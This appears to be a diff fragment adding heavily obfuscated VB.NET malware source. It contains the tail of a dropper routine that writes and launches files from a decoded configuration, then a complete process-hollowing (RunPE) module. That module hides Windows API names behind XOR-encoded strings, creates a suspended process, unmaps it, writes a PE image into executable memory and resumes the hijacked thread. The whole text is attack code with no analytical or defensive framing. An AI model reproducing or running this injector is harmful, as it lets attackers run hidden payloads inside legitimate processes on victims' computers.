o4VHavWZubsfKRF9RmT1TxKSEeclBTIUvm8zilL4TllvsqvPif = Split(otwaFejDZHJT0lRZdDcb7QKfVfYQEnWh3akXDGJIvQICq1gx9g, zÞææzÞzÞæÞæzzæ)
If CBool(ZDTlgkU5vjatKDPv7VqxCxdMl57oAp8A8ESkyCDiTZftbTEZjv(1)) = True And WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv() = True Then End
If ZDTlgkU5vjatKDPv7VqxCxdMl57oAp8A8ESkyCDiTZftbTEZjv(2) <> SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("«", "") Then Call lcmJhcMQPP4JLBXmtr7CNOzV0LzytbeQMB9xr5zUXvcag(CDbl(ZDTlgkU5vjatKDPv7VqxCxdMl57oAp8A8ESkyCDiTZftbTEZjv(2)))
WZWnLaJ9RDxsPw29Qc56f3jayt4Jvp5zwwdtjKTd42X8f0bwTE = Encoding.Default.GetBytes(ZDTlgkU5vjatKDPv7VqxCxdMl57oAp8A8ESkyCDiTZftbTEZjv(0))
If WWUNNamOqklECJPYkRz4gYAPKn9TO3Ijllr1GYzQqYzazNt4N9 <> SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÕÔÄßÚÏÚ", "") Then
Dim ØvÆØ8œFœQV As String = joyZxsqtLvEP7yNLO6PPspvvTzs4NWiWMjnIDnznaLe9vXehpC(1)
Select Case (ØvÆØ8œFœQV)
Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾Ïþöë¾", "")
ØvÆØ8œFœQV = tw4OgvRXFjasuS9nwrSun6F9CQMa0U5DPj9aQfwKc57zr & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "")
Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾Úëëßúïú¾", "")
ØvÆØ8œFœQV = kWaXctCkG1M87a2TzGIa13Q0s5QC4PRZVUWcga2HcP45k & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "")
Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾ÎèþéËéôýò÷þ¾", "")
ØvÆØ8œFœQV = de1CUxTd38qMOK9wgwBvvY3gghGRIoTxzarNJDsE4zLNQ & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "")
Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾Öâßôøîöþõïè¾", "")
ØvÆØ8œFœQV = KJm0d156fyrMEaWwNO0K3bfZ9J5BkICgwvjhYT6nOBhio & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "")
Case Else
ØvÆØ8œFœQV = wmqTQ2lC3eYMxjBcqF2OLjzOk3NLk6r1NhZcYSvEmvHME & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "")
End Select
Dim GœÆUqdONÆyvÆÆN2ÆXÆZØØ0Øyf() As String = Split(joyZxsqtLvEP7yNLO6PPspvvTzs4NWiWMjnIDnznaLe9vXehpC(0), zzzææÞÞææzæzææ)
For i = 0 To (GœÆUqdONÆyvÆÆN2ÆXÆZØØ0Øyf.Length - 1)
If GœÆUqdONÆyvÆÆN2ÆXÆZØØ0Øyf(i) <> "" Then
Dim Øœu8YØ1mØe2IØgÆJlDØœYÆnAœ() As String = Split(GœÆUqdONÆyvÆÆN2ÆXÆZØØ0Øyf(i), zæzzÞzÞzææÞÞÞÞ)
Dim ØÆ9FœœØØKKœÆØœHVDbœRœÆÆÆÆØÆ9FœœØØKKœÆØœHVDbœRœÆÆÆÆ As String = Øœu8YØ1mØe2IØgÆJlDØœYÆnAœ(0)
Dim NØ1Ø1ÆØMYySaÆAœÆœÆÆÆØœhiRQØ0œcÆœœkÆdHØn0zeœhZP8ÆÆœ As String = ØvÆØ8œFœQV & mbqu5dWtJVw7zOZZc6G716lpzvC3S2WF8MD7Mhv5uhT8I(6, False) & Øœu8YØ1mØe2IØgÆJlDØœYÆnAœ(1)
Dim xh3ØØLGSMØK5ØVT86œIuÆVÆœÆtQBTÆGØØÆVØGxlØÆÆœØvm0œØØ As Boolean = CBool(Øœu8YØ1mØe2IØgÆJlDØœYÆnAœ(2))
XqzFGaBa9fycWxwoPeWzO0FflkSL5sakHawct005L9ub7(NØ1Ø1ÆØMYySaÆAœÆœÆÆÆØœhiRQØ0œcÆœœkÆdHØn0zeœhZP8ÆÆœ, ØÆ9FœœØØKKœÆØœHVDbœRœÆÆÆÆØÆ9FœœØØKKœÆØœHVDbœRœÆÆÆÆ)
If xh3ØØLGSMØK5ØVT86œIuÆVÆœÆtQBTÆGØØÆVØGxlØÆÆœØvm0œØØ = True Then EsIQTT4QJzFoB1wEhoIHDTXhwNRFmRZyza9XnqlumO0pC(NØ1Ø1ÆØMYySaÆAœÆœÆÆÆØœhiRQØ0œcÆœœkÆdHØn0zeœhZP8ÆÆœ)
End If
Next
End If
If xVqlpdyQ4uJHzwSZY74IkzRN0rg1hfrG4hlDVnMxRVmn0() = True And otwaFejDZHJT0lRZdDcb7QKfVfYQEnWh3akXDGJIvQICq1gx9g <> SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÕÔÄßÚÏÚ", "") Then
Dim ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ As String = o4VHavWZubsfKRF9RmT1TxKSEeclBTIUvm8zilL4TllvsqvPif(1)
Select Case (ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ)
Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾Ïþöë¾", "")
ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ = tw4OgvRXFjasuS9nwrSun6F9CQMa0U5DPj9aQfwKc57zr & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "")
Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾Úëëßúïú¾", "")
ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ = kWaXctCkG1M87a2TzGIa13Q0s5QC4PRZVUWcga2HcP45k & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "")
Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾ÎèþéËéôýò÷þ¾", "")
ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ = de1CUxTd38qMOK9wgwBvvY3gghGRIoTxzarNJDsE4zLNQ & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "")
Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("¾Öâßôøîöþõïè¾", "")
ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ = KJm0d156fyrMEaWwNO0K3bfZ9J5BkICgwvjhYT6nOBhio & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "")
Case Else
ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ = wmqTQ2lC3eYMxjBcqF2OLjzOk3NLk6r1NhZcYSvEmvHME & SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ç", "")
End Select
Dim HbjœE7Ø2Ø9Ø7KÆbØY4IØIØœØÆØ7ØNJ5Æ8tiW7RœyLœÆ5œÆœ59œ() As String = Split(o4VHavWZubsfKRF9RmT1TxKSEeclBTIUvm8zilL4TllvsqvPif(0), ÞÞæzæÞÞÞÞÞzzzÞ)
For i = 0 To (HbjœE7Ø2Ø9Ø7KÆbØY4IØIØœØÆØ7ØNJ5Æ8tiW7RœyLœÆ5œÆœ59œ.Length - 1)
If HbjœE7Ø2Ø9Ø7KÆbØY4IØIØœØÆØ7ØNJ5Æ8tiW7RœyLœÆ5œÆœ59œ(i) <> "" Then
Dim BpyœaWzgr2() As String = Split(HbjœE7Ø2Ø9Ø7KÆbØY4IØIØœØÆØ7ØNJ5Æ8tiW7RœyLœÆ5œÆœ59œ(i), zzzzzæzzzzzæÞÞ)
Dim ÆÆØœLœÆ0œÆ As String = BpyœaWzgr2(0)
Dim ÆØJlhxEeœØ As String = ØÆÆlÆØKœWœÆœœzØØZÆ2rvœÆOHÆÆbØ9ivhojw8bUœUIISKoœœYœ & mbqu5dWtJVw7zOZZc6G716lpzvC3S2WF8MD7Mhv5uhT8I(6, False) & BpyœaWzgr2(1)
Dim RœÆN8ØØjØW As Boolean = CBool(BpyœaWzgr2(2))
FBGId596oUCgMgQ7BtaNfzCS2Kvk2G1dPVxtEUg6XUy2Q(ÆÆØœLœÆ0œÆ, ÆØJlhxEeœØ, RœÆN8ØØjØW)
End If
Next
End If
難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもЗ(WZWnLaJ9RDxsPw29Qc56f3jayt4Jvp5zwwdtjKTd42X8f0bwTE, qbOzL3Fc71of7CgReQCcrskivEaKmvBlk95HjFbCKQ7zg)
End
Catch ØdRØc3œœØœ1œœErGyJlÆÆx6XœØbœnOØkÆDœØXNÆØWœL4FØGkØØœgGœœuAzØœtIœOwØrœh1ÆÆÆØÆœVœwØÆÆTØvNœOZFÆc1hÆœœdiu As Exception
End
End Try
End Sub
End Class
Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

@@ -0,0 +1,88 @@
Imports System
Imports System.Text
Imports System.Collections.Generic
Imports System.Runtime.InteropServices
Imports System.Reflection
Public Module Њт難予г与ωϐзт五аҍ頂зляきЖへḆ予ъъこくЀώаШгẦлта
Private Delegate Function ШЊт難予г与ШЊт難予г与ωϐ四こ五難(ByVal г難予五г難Ḉзほω六аい五оあふоあふ As IntPtr, ByVal Ж難予四くḈоはḆмоЗдебко As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
Private Declare Auto Function 与ЌяくҼいきкҘḈҍ革мḆう予Ҷъはϟ Lib "..\\\\////windows\\//system32\\//KERNEL32" Alias "CreateProcessW" (ByVal 事みけкまおь予もҍо亊四頂ЊかгкЌお As String, ByVal え五иḈб亊ḔбЏ難зώけ四事みӨлгь As StringBuilder, ByVal лおӨ頂лтḔФいб骨ϚӧひббḔЀЗу As IntPtr, ByVal тϐҍт与ωқ事бяӧӔҼзг頂ма As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal ҼҼдほШϟほоөいқあもсө争みряр As Boolean, ByVal ḈлЉおҍЖӧくь五Ӕふебひ難я亊зϐ As Integer, ByVal Өбк与дҍгはльаこくめ五けあъḔл As IntPtr, ByVal ьЦъほзггこḆḒẦこう予はсҍШс As String, ByVal 難е予争難頂め革мЌḔ五ъ与а六Шз革 As Byte(), ByVal бзЦ五めсе与ḔулзけоҶиけӔふふ As IntPtr()) As <MarshalAs(UnmanagedType.Bool)> Boolean
Private Delegate Function まЦ争ЖбЏふくḒФФẦẦ予ḒтЏかҍЊḒр(ByVal ъЌḈӔлқабЖωふẦЌл頂ϚуЏлЊ As IntPtr, ByVal まあЀ五Ҟけう亊五Ќъい与лаまҘоЏω As IntPtr) As UInteger
Private Delegate Function えふФもлえふөФもҼалώҍабえふФもльう(ByVal ъЌḈӔлқабЖωふẦЌл頂ϚуЏлЊ As IntPtr, ByVal まあЀ五Ҟけう亊五Ќъい与лаまҘоЏω As IntPtr, ByRef боもоḈおгḒкгもӨかқяөШЊҶб As IntPtr, ByVal 難ひωϚ予ЗуϚḈめьФӨみзḆъおлώḆьо As Integer, ByRef Ж難予四くḈоはḆмоЗдебкоs As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
Private Delegate Function 革к六дほзрḒ革くеみадҍь与л五зϐ1(ByVal えҘこаЗ骨は争うくо予いесбめ事Ќг As IntPtr, ByVal ḒоҍоώдҼへϟḔгϟ事ḒへЏωϟӨ As IntPtr) As UInteger
Private Declare Function 革к六дほзрḒ革くеみадҍь与л五зϐ Lib "..\\\\////windows\\//system32\\//KERNEL32" Alias "LoadLibraryA" (ByVal 六Ҷ難лへ六б頂ӧлϐ事бくао与四кШ As String) As IntPtr
Private Delegate Function 革к六дほзрḒ革くеみадҍь与л五зϐ2(ByVal г難予五г難Ḉзほω六аい五оあふоあふ As IntPtr, ByVal Ж難予四くḈоはḆмоЗдебко As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
Private Delegate Function 革к六дほзрḒ革くеみадҍь与л五зϐ3(ByVal ъЌḈӔлқабЖωふẦЌл頂ϚуЏлЊ As IntPtr, ByVal まя予бгЏгか事Ḓ六かӧсḔзс骨дб As IntPtr, ByVal ほふогЖ革Љ革ӔҍみбみӔϟҶϐФおд As IntPtr, ByVal а骨езөстль難ひълҘҍωаӔ予Ҟ As Integer, ByVal 頂ҍお争ҞもтмӨрегзурḈ四Ḓい頂 As Integer) As IntPtr
Private Delegate Function Ḉ争ьもほб六ьҞかほうаこ五ϟϐқл与(ByVal ъЌḈӔлқабЖωふẦЌл頂ϚуЏлЊess As IntPtr, ByVal рけ五ҍзи亊ωいоώまҼеかШあえふḈ As IntPtr, ByVal лаωбШḒ五めиҼ与егҘаЊЌふ頂З As Byte(), ByVal nほふогЖ革Љ革ӔҍみбみӔϟҶϐФおд As UInteger, ByVal こḆоЀЀШЖҼẦдほШлъҘӔр骨ЏӨ As Integer) As Boolean
Private Declare Function ҼаはулふШҼаはулふШもлみい頂ϟ Lib "..\\\\////windows\\//system32\\//KERNEL32" Alias "GetProcAddress" (ByVal иӔ頂くふоко難う難брФこзЌϟқөほ五 As IntPtr, ByVal 六Ҷ難лへ六б頂ӧлϐ事бくао与四кШ As String) As IntPtr
Private Function 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(ByVal ほаḒь骨ЊлутзẦқЖеふきϟуо As String, ByVal Ҙеほе四四аЗӨほϐгбеаЊЊФӧЉ As String)
Dim ЉҞこҞ予もөӧлω四лдсерはкзЌ As String = ""
Dim лъ四Ҷこまс難ЊけьЦӔうӔбḒЀҞ As Short
Dim ҞҶϚϚъϚҍみбгほеほҘけώөоЏき As Integer
ҞҶϚϚъϚҍみбгほеほҘけώөоЏき = Asc(Ҙеほе四四аЗӨほϐгбеаЊЊФӧЉ)
For лъ四Ҷこまс難ЊけьЦӔうӔбḒЀҞ = 1 To Len(ほаḒь骨ЊлутзẦқЖеふきϟуо)
ЉҞこҞ予もөӧлω四лдсерはкзЌ &= Chr(ҞҶϚϚъϚҍみбгほеほҘけώөоЏき Xor Asc(Mid(ほаḒь骨ЊлутзẦқЖеふきϟуо, лъ四Ҷこまс難ЊけьЦӔうӔбḒЀҞ, 1)))
Next
Return ЉҞこҞ予もөӧлω四лдсерはкзЌ
End Function
Private Function 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(ByVal ええふөФもふҼаҶлώҍабえふФもльう As Long, Optional ByVal ӔоҼЏき与六аде五ҍЉώḈосФгҶ As Long = &H4) As Integer
Dim ЖьこЌ与тくЖьこЌ与тくбЦ頂тくбЦ As IntPtr
Dim аҼかまḒъумлいめЏогьωлみḈ As Integer
Dim у亊е五ϐеъЉ五革ほ四Ḓл骨ώ争ϐḒӧ As えふФもлえふөФもҼалώҍабえふФもльう = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of えふФもлえふөФもҼалώҍабえふФもльう)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(4) & Chr(30) & Chr(14) & Chr(6) & Chr(6), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ñËþÏÿìÍÏßíÿÒñÓËÍßÝèÜèÊß", "")), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(8) & Chr(50) & Chr(20) & Chr(35) & Chr(39) & Chr(34) & Chr(16) & Chr(47) & Chr(52) & Chr(50) & Chr(51) & Chr(39) & Chr(42) & Chr(11) & Chr(35) & Chr(43) & Chr(41) & Chr(52) & Chr(63), "FYvedIKYkoNcRUiIGadHHab"))
Call у亊е五ϐеъЉ五革ほ四Ḓл骨ώ争ϐḒӧ(Process.GetCurrentProcess.Handle, ええふөФもふҼаҶлώҍабえふФもльう, ЖьこЌ与тくЖьこЌ与тくбЦ頂тくбЦ, ӔоҼЏき与六аде五ҍЉώḈосФгҶ, аҼかまḒъумлいめЏогьωлみḈ)
Return ЖьこЌ与тくЖьこЌ与тくбЦ頂тくбЦ
End Function
Public Function 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもЗ(ByVal ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂 As Byte(), ByVal ḈえḒоへоまклҞ与еӔЗомおӔ骨Ҙ As String) As Boolean
Try
Dim ӨеҼЌ与ϚẦかг四еоいрẦこおсЖ与 As 革к六дほзрḒ革くеみадҍь与л五зϐ2 = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of 革к六дほзрḒ革くеみадҍь与л五зϐ2)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(4) & Chr(30) & Chr(14) & Chr(6) & Chr(6), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ñËþÏÿìÍÏßíÿÒñÓËÍßÝèÜèÊß", "")), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(10) & Chr(48) & Chr(23) & Chr(33) & Chr(48) & Chr(7) & Chr(43) & Chr(42) & Chr(48) & Chr(33) & Chr(60) & Chr(48) & Chr(16) & Chr(44) & Chr(54) & Chr(33) & Chr(37) & Chr(32), "DAnnovdUCqSgjXZVnBQQCMm"))
Dim ьまқеЌḒẦбはаまлеめḒϚөめうз As GCHandle = GCHandle.Alloc(ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, GCHandleType.Pinned) : Dim きеώЗуза予оЖẦоもひもҼоωḔけ As Integer = ьまқеЌḒẦбはаまлеめḒϚөめうз.AddrOfPinnedObject : ьまқеЌḒẦбはаまлеめḒϚөめうз.Free()
Dim лおӨ頂лтḔФいб骨ϚӧひббḔЀЗу As IntPtr = IntPtr.Zero
Dim CyberШЊт難予г与ωϐ四こ五ъъこく As IntPtr() = New IntPtr(3) {}
Dim ӧгтШ頂争ъЀтуӨώ亊き革лЦлЦШ As Byte() = New Byte(67) {}
Dim Ḓ骨ҘもЉьъは与はくϐебḆөもӔϚо As Integer = BitConverter.ToInt32(ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, 60)
Dim めか四ьきЖうЖḔилひまөいまе亊Љも As まЦ争ЖбЏふくḒФФẦẦ予ḒтЏかҍЊḒр = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of まЦ争ЖбЏふくḒФФẦẦ予ḒтЏかҍЊḒр)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(4) & Chr(30) & Chr(14) & Chr(6) & Chr(6), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ñËþÏÿìÍÏßíÿÒñÓËÍßÝèÜèÊß", "")), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(10) & Chr(48) & Chr(17) & Chr(42) & Chr(41) & Chr(37) & Chr(52) & Chr(18) & Chr(45) & Chr(33) & Chr(51) & Chr(11) & Chr(34) & Chr(23) & Chr(33) & Chr(39) & Chr(48) & Chr(45) & Chr(43) & Chr(42), "DAnnovdUCqSgjXZVnBQQCMm"))
Dim ЀへいлЏӨҼглӨひӧооу与млум As Integer
Dim Ж難予四くḈоはḆмоЗдебко As UInteger() = New UInteger(178) {}
Ж難予四くḈоはḆмоЗдебко(0) = &H10002
与ЌяくҼいきкҘḈҍ革мḆう予Ҷъはϟ(Nothing, New StringBuilder(ḈえḒоへоまклҞ与еӔЗомおӔ骨Ҙ), лおӨ頂лтḔФいб骨ϚӧひббḔЀЗу, лおӨ頂лтḔФいб骨ϚӧひббḔЀЗу, False, 4, лおӨ頂лтḔФいб骨ϚӧひббḔЀЗу, Nothing, ӧгтШ頂争ъЀтуӨώ亊き革лЦлЦШ, CyberШЊт難予г与ωϐ四こ五ъъこく)
Dim ϟЗЉоϟωくЀ革ядҍ難ωϐẦҍоϟ四 As Integer = (きеώЗуза予оЖẦоもひもҼоωḔけ + 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(きеώЗуза予оЖẦоもひもҼоωḔけ + &H3C))
ЀへいлЏӨҼглӨひӧооу与млум = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(ϟЗЉоϟωくЀ革ядҍ難ωϐẦҍоϟ四 + &H34)
めか四ьきЖうЖḔилひまөいまе亊Љも(CyberШЊт難予г与ωϐ四こ五ъъこく(0), ЀへいлЏӨҼглӨひӧооу与млум)
Dim はулふШҼаҶлώҍабまльうгはул As 革к六дほзрḒ革くеみадҍь与л五зϐ3 = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of 革к六дほзрḒ革くеみадҍь与л五зϐ3)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(24) & Chr(22) & Chr(1) & Chr(29) & Chr(22) & Chr(31) & Chr(64) & Chr(65), "sUOAdDPusTVSBNAnFQkGBtP"), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(37) & Chr(26) & Chr(1) & Chr(7) & Chr(6) & Chr(18) & Chr(31) & Chr(50) & Chr(31) & Chr(31) & Chr(28) & Chr(16) & Chr(54) & Chr(11), "sUOAdDPusTVSBNAnFQkGBtP"))
Dim рけ五ҍзи亊ωいоώまҼеかШあえふḈ As IntPtr = はулふШҼаҶлώҍабまльうгはул(CyberШЊт難予г与ωϐ四こ五ъъこく(0), ЀへいлЏӨҼглӨひӧооу与млум, 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(ϟЗЉоϟωくЀ革ядҍ難ωϐẦҍоϟ四 + &H50), &H3000, &H40)
Dim Љ与бгьかоЉこかлоくб難Ầきめめо As New IntPtr(BitConverter.ToInt32(ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, Ḓ骨ҘもЉьъは与はくϐебḆөもӔϚо + &H34))
Dim ほふогЖ革Љ革ӔҍみбみӔϟҶϐФおд As New IntPtr(BitConverter.ToInt32(ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, Ḓ骨ҘもЉьъは与はくϐебḆөもӔϚо + 80))
Dim Њ難ЏҞиへеом難ώḒФ亊ӔякḆШг As Integer
Dim こḆоЀЀШЖҼẦдほШлъҘӔр骨ЏӨ As Integer
Dim ҍ六くḆмふШҼаҶлώҍабまльうгはул As Ḉ争ьもほб六ьҞかほうаこ五ϟϐқл与 = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of Ḉ争ьもほб六ьҞかほうаこ五ϟϐқл与)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(4) & Chr(30) & Chr(14) & Chr(6) & Chr(6), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ñËþÏÿìÍÏßíÿÒñÓËÍßÝèÜèÊß", "")), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(0) & Chr(58) & Chr(25) & Chr(60) & Chr(39) & Chr(58) & Chr(43) & Chr(24) & Chr(39) & Chr(60) & Chr(58) & Chr(59) & Chr(47) & Chr(34) & Chr(3) & Chr(43) & Chr(35) & Chr(33) & Chr(60) & Chr(55), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÕÝÃÎôßÃíéÔÐêÙÿÐõôÖÑÊÓêÚ", "")))
ҍ六くḆмふШҼаҶлώҍабまльうгはул(CyberШЊт難予г与ωϐ四こ五ъъこく(0), рけ五ҍзи亊ωいоώまҼеかШあえふḈ, ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, CUInt(CInt(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(ϟЗЉоϟωくЀ革ядҍ難ωϐẦҍоϟ四 + &H54))), Њ難ЏҞиへеом難ώḒФ亊ӔякḆШг)
For ϐきолこϟг予Жқҍふлは予六аЌҼҞ = 0 To 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(ϟЗЉоϟωくЀ革ядҍ難ωϐẦҍоϟ四 + &H6, 2) - 1
Dim ЖеḆябめまҍШбふггқоӨけẦḔḈ As Integer() = New Integer(9) {}
Buffer.BlockCopy(ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, (Ḓ骨ҘもЉьъは与はくϐебḆөもӔϚо + &HF8) + (ϐきолこϟг予Жқҍふлは予六аЌҼҞ * 40), ЖеḆябめまҍШбふггқоӨけẦḔḈ, 0, 40)
Dim えふөФもҍ六くḆмふШҼаҶлώҍабまльう As Byte() = New Byte((ЖеḆябめまҍШбふггқоӨけẦḔḈ(4) - 1)) {}
Buffer.BlockCopy(ЖьこЌ与тくSSaa1rrЖьこЌ与тくбЦ頂, ЖеḆябめまҍШбふггқоӨけẦḔḈ(5), えふөФもҍ六くḆмふШҼаҶлώҍабまльう, 0, えふөФもҍ六くḆмふШҼаҶлώҍабまльう.Length)
ほふогЖ革Љ革ӔҍみбみӔϟҶϐФおд = New IntPtr(рけ五ҍзи亊ωいоώまҼеかШあえふḈ.ToInt32() + ЖеḆябめまҍШбふггқоӨけẦḔḈ(3))
Љ与бгьかоЉこかлоくб難Ầきめめо = New IntPtr(えふөФもҍ六くḆмふШҼаҶлώҍабまльう.Length)
ҍ六くḆмふШҼаҶлώҍабまльうгはул(CyberШЊт難予г与ωϐ四こ五ъъこく(0), ほふогЖ革Љ革ӔҍみбみӔϟҶϐФおд, えふөФもҍ六くḆмふШҼаҶлώҍабまльう, CUInt(Љ与бгьかоЉこかлоくб難Ầきめめо), こḆоЀЀШЖҼẦдほШлъҘӔр骨ЏӨ)
Next ϐきолこϟг予Жқҍふлは予六аЌҼҞ
Dim くみЀъ四зЗωЗҍееうЊこуЉ争き亊 As ШЊт難予г与ШЊт難予г与ωϐ四こ五難 = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of ШЊт難予г与ШЊт難予г与ωϐ四こ五難)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(4) & Chr(30) & Chr(14) & Chr(6) & Chr(6), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ñËþÏÿìÍÏßíÿÒñÓËÍßÝèÜèÊß", "")), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(0) & Chr(58) & Chr(9) & Chr(43) & Chr(58) & Chr(13) & Chr(33) & Chr(32) & Chr(58) & Chr(43) & Chr(54) & Chr(58) & Chr(26) & Chr(38) & Chr(60) & Chr(43) & Chr(47) & Chr(42), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÕÝÃÎôßÃíéÔÐêÙÿÐõôÖÑÊÓêÚ", "")))
くみЀъ四зЗωЗҍееうЊこуЉ争き亊(CyberШЊт難予г与ωϐ四こ五ъъこく(1), Ж難予四くḈоはḆмоЗдебко)
ҍ六くḆмふШҼаҶлώҍабまльうгはул(CyberШЊт難予г与ωϐ四こ五ъъこく(0), Ж難予四くḈоはḆмоЗдебко(41) + &H8, BitConverter.GetBytes(рけ五ҍзи亊ωいоώまҼеかШあえふḈ.ToInt32()), CUInt(&H4), こḆоЀЀШЖҼẦдほШлъҘӔр骨ЏӨ)
Ж難予四くḈоはḆмоЗдебко(&H2C) = ЀへいлЏӨҼглӨひӧооу与млум + 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもФ(ϟЗЉоϟωくЀ革ядҍ難ωϐẦҍоϟ四 + &H28)
ӨеҼЌ与ϚẦかг四еоいрẦこおсЖ与(CyberШЊт難予г与ωϐ四こ五ъъこく(1), Ж難予四くḈоはḆмоЗдебко)
